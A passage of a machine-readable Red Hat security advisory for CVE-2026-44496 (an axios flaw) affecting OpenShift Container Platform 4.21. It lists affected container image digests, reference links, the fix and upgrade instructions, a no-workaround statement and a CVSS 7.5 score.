"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:a1602d42232b96a0a9ce2f8cf5a809e80e9a9f4752c6845342af7dbb94729070_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:d9cda770f446e132541a740719fda07af700f1ce372a608bde61fb84e42afa2d_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:f680ee32b9ead50a2b09c43405f3e20763b99025ac3f2a186bf6aa56d41425c5_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:1bed594d53537de5cec4d21ec152a8cf769cbcc4a300c233331e79b62d2cfe31_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:6a1c00c60c999234bd4ccd8131ba9ea9d6875bdfb889dccf8db5948d41238110_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:a0192fc0b5ece7d29fe95bd1bcca4cfb98c3540fc0c7a365da6a0ddce097fa41_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:d3ee62e979e6dbfbb846eb60a52d8fa95bfa59a42ccca5cba925d2380c7f96b4_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-vsphere-problem-detector-rhel9@sha256:4117dc54a8f501a6bc579b22cc8ad5ad0360ba54bbe8c8453d11dbdac480f4f7_amd64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-44496"
},
{
"category": "external",
"summary": "RHBZ#2487943",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2487943"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-44496",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44496"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-44496",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44496"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/security/advisories/GHSA-hfxv-24rg-xrqf",
"url": "https://github.com/axios/axios/security/advisories/GHSA-hfxv-24rg-xrqf"
}
],
"release_date": "2026-06-11T15:34:28.492000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-23T08:24:00+00:00",
"details": "For OpenShift Container Platform 4.21 see the following documentation, which will be updated shortly for this release, for important instructions on how to upgrade your cluster and fully apply this asynchronous errata update:\n\nhttps://docs.redhat.com/en/documentation/openshift_container_platform/4.21/html/release_notes/\n\nYou may download the oc tool and use it to inspect release image metadata for x86_64, s390x, ppc64le, and aarch64 architectures. The image digests may be found at https://quay.io/repository/openshift-release-dev/ocp-release?tab=tags.\n\nThe sha values for the release are as follows:\n\n (For x86_64 architecture)\n The image digest is sha256:7224f77afb20aedaf82bfc13ca11699689bd5b06795d6d1740dbd4c265150c44\n\n (For s390x architecture)\n The image digest is sha256:73811451efed403727e561f1ffadc1936c71bbefbae526fcea86a88fe23473f2\n\n (For ppc64le architecture)\n The image digest is sha256:05cb0b4804507c0b5e7923b7c6bcf293bd4e2d0f476c8ec6d13b179eb3157b42\n\n (For aarch64 architecture)\n The image digest is sha256:fd193bcd1042c3f17c33e7668d7b9866b915ac07075e6c2e35b0fe396bfd9a51\n\nAll OpenShift Container Platform 4.21 users are advised to upgrade to these updated packages and images when they are available in the appropriate release channel. To check for available updates, use the OpenShift CLI (oc) or web console. Instructions for upgrading a cluster are available at https://docs.redhat.com/en/documentation/openshift_container_platform/4.21/html-single/updating_clusters/index#updating-cluster-cli.",
"product_ids": [
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:214a54e1cdab555aca4d89ba2ae3dd825cca158cb1d74271d1a21c5d385647d4_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:51cbcaa1d10ded9608c0b17dcb99d77786586edf4a5db92e8205075129ec6318_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9dc9ccd011217972cef70a48af37278716c9ce47ed6d0a5d8686a3ac607c0a64_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:eda11e652e4e330f3cdd881504b4886fec1c7efb74be88252e3ac906a5964044_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:27044"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.",
"product_ids": [
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:061015f468b484041f552ddb246024c4b1475aba2be6b5ed529fdb5a1f2e323f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:b96ddf35d0e8a292d986e81420c93aa885fc455fcaf616a915491095b0caec0e_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:e21d39916b8a2d702c5adc1bcda18c7b6ddd3a9cfc09864e82c0cdf5188b301b_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:f31992f179936b6b55311d2c673b09ed29a27baa8a28ece8859d6d04d09ad81e_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:989ff868950ddcfb8dbc15092118c85476be437177b29016e3d6e148c5523334_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:b560fc8b23c8d1a7e362ffe84a26413cf5c5be7bae673052f035319f0e76b188_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f1cfd18b9ae0ca40e40e0f941ae8d3215dbe7ba51e2bbd32310017e70eccffa5_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f2031994576d4640f55cf0febf09b4f03ba9eaeaf433c1266a636a1fe2357de7_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:323728d967c18ee9d1c2aa15b1847d0d27cfeb23f75a5f9fa25ae469f35319cf_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:4b96564bdb684813b8fdc7f0257f5586bd3f2f15fa53afaa3a3139beaee71617_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:aa9d5a87e03a61bb8cffaf75b1ee9db23fd6232bc594e1b1152e796083778edd_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:ec6e3caaad9567c2c0e423880f2e7b15f45c8596ee792b784f7fcca05ea28f66_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:6bdbe43aebe603002314b78857288bfb37f5bf8cae3a96d0e6b378b53a277312_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:938e55ebf1d2297f018f1d67c0105d874c524fdbeb587b7f4901b06ca2e3be34_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:99158d48956d3c0ab7d7199136b2c342c49daba19a91d2755ef6ea42c3e23bc0_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:9eb40419d902bbcfac7032918098adc7e91db26ebd9a1ecdf294626352d5c4a0_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:14d3506a84c56ce94db20e3ed1763deb9f72d0febc1a7bb2c8c8c6edfb30c9cd_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:08681a7e9dae6792a5897594769beaf151bf52e489378a133886313f8dac398f_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3fac643abb746b79b89a49fb5d762adac833e3265b83a832cedb3c7254ab6518_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:bd26beeab9ce22eab5cde362ac3610fb83c24d5525075363c50131e8000eb5e8_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:d0095c609b0c0dc6be36865e426e6c97c1793e282ccb150daf5eaea326cc03db_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:387e994a39948184388421bc4e2bfdfd604ebb18b0e3fbb209b256ac03cc944f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:865891f674c073eb479be00ea69d4a24546dea11bf1e123b3358dc0dad2836c6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:5d815836e31186ee2438933286395b35c6043986a1c55496f6314dc0aa796ccb_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:677b973d8853977b513318ec5acc866a8ff7adbc6c27f02e3f2b3de946104d57_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:98c8e94df91ff429ac6b104ac3fbd345273f0bcdcd929f2e38bc64aac6c2b1fd_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:af29610cf522f1952006878a267b7bc8c624b0ba975da5bbf8c3b84c23c72d98_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:14b84478be017b16f2c699ab6248450a9f8862313fc4ef38c23b5ae7bbbd27c5_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:155201b7a38a18f69000651e3b0ecdcb19815fb0bfe2f7971b7b49b7a626ac5c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:9628fc8b3effe793a58cc83f47d8260cbfede603bdbaabd5f4fa78c410f77d57_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:f879e563271c2bf9c4897a5011e6d153fee9085b93cd1dff3d6ae1ce78db1fca_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:09c3b1dab5e555137dccb0a932b329f64067caf6e3706843b7268d6083ef0854_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5786d42ae90f710ca41c9cb0dc318fd7a3c40c8a49c922ad5c57fe98d15deb03_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5e9e2ec5df31d1d37c3faba01952b21b974a3dce50a6bba6b35dd450d1f75fd7_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e082034afc446c8bb29c7aeac67ded281d931695af8f9dae1fd03ef5c4342252_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:9ce038b5fb35619ac1d518bb904d973a87e54a030bf3350f653d84095d701fea_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c25cf4db4e05f4759b45b7b46d551396627f6c8b72c62168ad1d9d560f016e1b_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c8945cfb5c06ce3c0a6b0af2ee6c833a14c2a51c05901a8f18aec232e1705567_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:e3be367267b6667ac1429e9f8dd26835aefa03b22a1dad51a8116ac41ee91e84_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:3c78e7b587d9a96d61d64c1a6a09340978d2a075cc34019e45763a7f94d3c7bb_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:4ae1938d0303894656d6d0aa0923fe88785632ee55e0ed46553a54ace495cd10_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:664d9b418f753e8cdbafb0d22f97bb8c0b2097b4d749ea87bf340cc4cb732b09_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:6e4184f47fcf6e187f4c7fac3f1058d575235ca8ec8a118434526ae4a90a9ac8_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:0bab4308f7c309a814f712e39607196d35b40db9dd4616a5d9cca862dd9bebc6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1ff44c8741a46e16c5511cb5d4fea1706578ff9aa4115481b018b145d1e90aca_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:366ab14ae5460ad0052c556eb30665873a0eb5e164674b56292dd8af70d74807_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:75daf2f2d96d1122e7f6b8fcab558c5d147d812e418107c0b2c16d1b80aa8c59_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:1709dde712ec24c1f771a0bbdf70a2fe298b911c8528a2dc9eef2ab258d36788_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:3b3ef5d55fb3f63ca291717035f5e076b2bd14921d58be0abd399f590be69de0_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:6138073a9b3c5f26146fdacc429b1be38555c25f9cb0934fdfedeedd962e514c_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:c14387a983d59f6c8a62e6591e162019c46902bd4bddf922d03e7bcfd16f7c9c_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:0aa5ce159112edf887a68bac028b860f0087344bae6773c0707421fe94efbf83_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:13b892be223845edeedb6df843edc3c84539c0f7b5849cfbdf1431e891f4d387_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:3eb2cd4352f5f3110a6234c599e8ed2e1f028505294043513d8fda46cb30f511_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:936b7bc4d391f06895399ee89aa43b02316e79cf8436fab198c0e485165ff92c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:591d0e9a58fbb78cc9bd3a5d2794f4947d1277e2b7ff856ff26c92a15b54ef5d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:93b12271a9cbb5386c49bde23a4fd0c418410ade915b89501b67976638f1b394_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:8106794a91fc7f08da90c997df3f00b9044782e81b6cda20580b17367588df15_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:f6ddc9d891309a979c07a9d2462fcaa62af6912a1cbb8f986e678c79b29d7b2e_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:6a4410c46718fe6010fad0d6c6b578a2347e61c687da6fa8e6f9220c18085c38_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:cb1bbd2c6ebdc80d0b55b9e24af9afe0e9147c0d56d4ccb2e06910c339aad92d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:4b531989cffbba08feb30500f836332f2ac5e05f67f5b0d3466344ca56844234_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:97e86b1ec0fb8c9320b643ceb46cee693d78059db2251e96ea48acbc3e8d77d4_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:b7d65cce3142f1e692c846b05a2cb737c1de760815dd003a4eb14c42bc381684_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:ce8035f8ddf2521152896e41e088e5f69ccb62db3ca6f3bff461b1fcfd002e66_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:1fa798e8929bf9ca5a0248df695a7bd9e4a9800fa3a49aa6c711f5460452303b_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:25649934df8b81bb967c2714cd0151acf22a59f0e1ba25f0f564803cf86a2c53_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:37e366676577cd3c67828c64542540ddbf1bd3866538841a844a34096ad4bc97_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:6d23762eeb123e9150385fd77695841aa2fbc22e0eafd5ccbd31b17b31d043ee_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:214a54e1cdab555aca4d89ba2ae3dd825cca158cb1d74271d1a21c5d385647d4_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:51cbcaa1d10ded9608c0b17dcb99d77786586edf4a5db92e8205075129ec6318_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9dc9ccd011217972cef70a48af37278716c9ce47ed6d0a5d8686a3ac607c0a64_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:eda11e652e4e330f3cdd881504b4886fec1c7efb74be88252e3ac906a5964044_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:2cfba758f3448568e6f844a2c380de62c2d84d2d21c7033a91bab994994fb28d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:62b9725f0852dfa627d030aee5dd8b3259e84a6f0087d3c970a08361b85ecc01_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:adb184389c661980ee1274a3eddf64221101465bc12c83895f981721508f18c3_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:dbf3bf45e958c3e521cd2f1965ed1f6eed1edc7ad1b2ce22be9930d9fdddf21f_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:5c543b465d9c53c8f34458a00e7f74586d91333301770e21054ce7120fa0e8a1_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:a1602d42232b96a0a9ce2f8cf5a809e80e9a9f4752c6845342af7dbb94729070_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:d9cda770f446e132541a740719fda07af700f1ce372a608bde61fb84e42afa2d_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:f680ee32b9ead50a2b09c43405f3e20763b99025ac3f2a186bf6aa56d41425c5_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:1bed594d53537de5cec4d21ec152a8cf769cbcc4a300c233331e79b62d2cfe31_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:6a1c00c60c999234bd4ccd8131ba9ea9d6875bdfb889dccf8db5948d41238110_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:a0192fc0b5ece7d29fe95bd1bcca4cfb98c3540fc0c7a365da6a0ddce097fa41_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:d3ee62e979e6dbfbb846eb60a52d8fa95bfa59a42ccca5cba925d2380c7f96b4_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-vsphere-problem-detector-rhel9@sha256:4117dc54a8f501a6bc579b22cc8ad5ad0360ba54bbe8c8453d11dbdac480f4f7_amd64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:061015f468b484041f552ddb246024c4b1475aba2be6b5ed529fdb5a1f2e323f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:b96ddf35d0e8a292d986e81420c93aa885fc455fcaf616a915491095b0caec0e_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:e21d39916b8a2d702c5adc1bcda18c7b6ddd3a9cfc09864e82c0cdf5188b301b_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:f31992f179936b6b55311d2c673b09ed29a27baa8a28ece8859d6d04d09ad81e_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:989ff868950ddcfb8dbc15092118c85476be437177b29016e3d6e148c5523334_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:b560fc8b23c8d1a7e362ffe84a26413cf5c5be7bae673052f035319f0e76b188_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f1cfd18b9ae0ca40e40e0f941ae8d3215dbe7ba51e2bbd32310017e70eccffa5_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f2031994576d4640f55cf0febf09b4f03ba9eaeaf433c1266a636a1fe2357de7_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:323728d967c18ee9d1c2aa15b1847d0d27cfeb23f75a5f9fa25ae469f35319cf_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:4b96564bdb684813b8fdc7f0257f5586bd3f2f15fa53afaa3a3139beaee71617_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:aa9d5a87e03a61bb8cffaf75b1ee9db23fd6232bc594e1b1152e796083778edd_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:ec6e3caaad9567c2c0e423880f2e7b15f45c8596ee792b784f7fcca05ea28f66_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:6bdbe43aebe603002314b78857288bfb37f5bf8cae3a96d0e6b378b53a277312_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:938e55ebf1d2297f018f1d67c0105d874c524fdbeb587b7f4901b06ca2e3be34_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:99158d48956d3c0ab7d7199136b2c342c49daba19a91d2755ef6ea42c3e23bc0_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:9eb40419d902bbcfac7032918098adc7e91db26ebd9a1ecdf294626352d5c4a0_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:14d3506a84c56ce94db20e3ed1763deb9f72d0febc1a7bb2c8c8c6edfb30c9cd_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:08681a7e9dae6792a5897594769beaf151bf52e489378a133886313f8dac398f_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3fac643abb746b79b89a49fb5d762adac833e3265b83a832cedb3c7254ab6518_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:bd26beeab9ce22eab5cde362ac3610fb83c24d5525075363c50131e8000eb5e8_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:d0095c609b0c0dc6be36865e426e6c97c1793e282ccb150daf5eaea326cc03db_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:387e994a39948184388421bc4e2bfdfd604ebb18b0e3fbb209b256ac03cc944f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:865891f674c073eb479be00ea69d4a24546dea11bf1e123b3358dc0dad2836c6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:5d815836e31186ee2438933286395b35c6043986a1c55496f6314dc0aa796ccb_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:677b973d8853977b513318ec5acc866a8ff7adbc6c27f02e3f2b3de946104d57_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:98c8e94df91ff429ac6b104ac3fbd345273f0bcdcd929f2e38bc64aac6c2b1fd_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:af29610cf522f1952006878a267b7bc8c624b0ba975da5bbf8c3b84c23c72d98_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:14b84478be017b16f2c699ab6248450a9f8862313fc4ef38c23b5ae7bbbd27c5_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:155201b7a38a18f69000651e3b0ecdcb19815fb0bfe2f7971b7b49b7a626ac5c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:9628fc8b3effe793a58cc83f47d8260cbfede603bdbaabd5f4fa78c410f77d57_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:f879e563271c2bf9c4897a5011e6d153fee9085b93cd1dff3d6ae1ce78db1fca_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:09c3b1dab5e555137dccb0a932b329f64067caf6e3706843b7268d6083ef0854_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5786d42ae90f710ca41c9cb0dc318fd7a3c40c8a49c922ad5c57fe98d15deb03_ppc64le",
